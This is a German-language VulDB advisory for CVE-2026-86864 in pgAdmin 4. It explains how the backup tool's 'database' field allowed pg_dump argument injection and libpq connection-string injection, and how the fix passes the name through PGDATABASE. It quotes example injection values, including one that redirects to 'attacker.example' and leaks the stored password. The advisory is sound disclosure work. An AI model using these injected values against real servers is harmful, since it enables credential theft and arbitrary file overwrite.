CVE-2026-86864 in pgAdmininfo

Zusammenfassung

von VulDB • 17.09.2026

Das Backup-Tool von pgAdmin 4 fügte das vom Client bereitgestellte Feld 'database' aus der /backup/job//object-Anfrage als nacktes, nachgestelltes positionsbezogenes Argument zum pg_dump-Argumentvektor hinzu, ohne Validierung. Da pg_dump seine Optionen mit getopt_long parst, welches die Argumente permuiert (umordnet), wurde ein Wert, der mit einem Bindestrich beginnt, als Option und nicht als Datenbankname interpretiert. Ein Wert wie --file=/absolute/path überschrieb daher das speicherbeschränkte --file, das pgAdmin zuvor erstellt hatte, wodurch pg_dump seine Ausgabe überall dort schrieb, wohin der pgAdmin-Prozess schreiben konnte, außerhalb des Dateimanager-Speicherordners des Benutzers. Dies führt zur willkürlichen Erstellung und Überschreibung von Dateien als das Betriebssystem-Konto, unter dem pgAdmin ausgeführt wird, was die eigene Konfigurationsdatenbank von pgAdmin zerstören kann und sich je nach gewähltem Ziel weiter eskalieren lässt.

Das gleiche Feld ermöglichte zudem Connection-String-Injection (Einschleusen von Verbindungszeichenfolgen). libpq erweitert einen Datenbanknamen, der ein Gleichheitszeichen enthält, zu einer vollständigen Verbindungszeichenfolge, und darin eingebettete Schlüsselwörter überschreiben die --host- und --port-Werte, die pgAdmin übergibt. Ein Wert wie 'host=attacker.example port=5432 dbname=x' leitete daher pg_dump auf einen Server nach Wahl des Angreifers um. Da pgAdmin das entschlüsselte gespeicherte Datenbankkennwort vor der Ausführung des Dienstprogramms in der Umgebungsvariablen PGPASSWORD exportiert, wird dieses Anmeldeinformation mit der umgeleiteten Verbindung zum vom Angreifer benannten Endpunkt übertragen. Beide Verhaltensweisen sind für jeden authentifizierten Benutzer erreichbar, der über die Berechtigung tools_backup verfügt, welche der Standardrolle User gewährt wird.

Die Korrektur stoppt das Übergeben des Datenbanknamens durch den Argumentvektor vollständig und liefert ihn stattdessen in der Umgebungsvariablen PGDATABASE, die libpq als wörtlichen Datenbanknamen behandelt und niemals als Verbindungszeichenfolge erweitert. Dies entspricht dem Ansatz, der bereits vom Import-/Export-Tool verwendet wird. Regressionstests stellen sicher, dass der Datenbankname im konstruierten Argumentvektor fehlt und dass PGDATABASE den exakt angeforderten Wert enthält.

Dieses Problem betrifft pgAdmin 4: ab der Einführung des nachgestellten positionsbezogenen Datenbankarguments im Backup-Tool vor Version 9.18.

Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Zuständig

PostgreSQL

Reservieren

08.09.2026

Veröffentlichung

17.09.2026

Moderieren

akzeptiert

Eintrag

VDB-406524

CPE

bereit

EPSS

0.00000

KEV

nein

Aktivitäten

very low

Quellen

Do you want to use VulDB in your project?

Use the official API to access entries easily!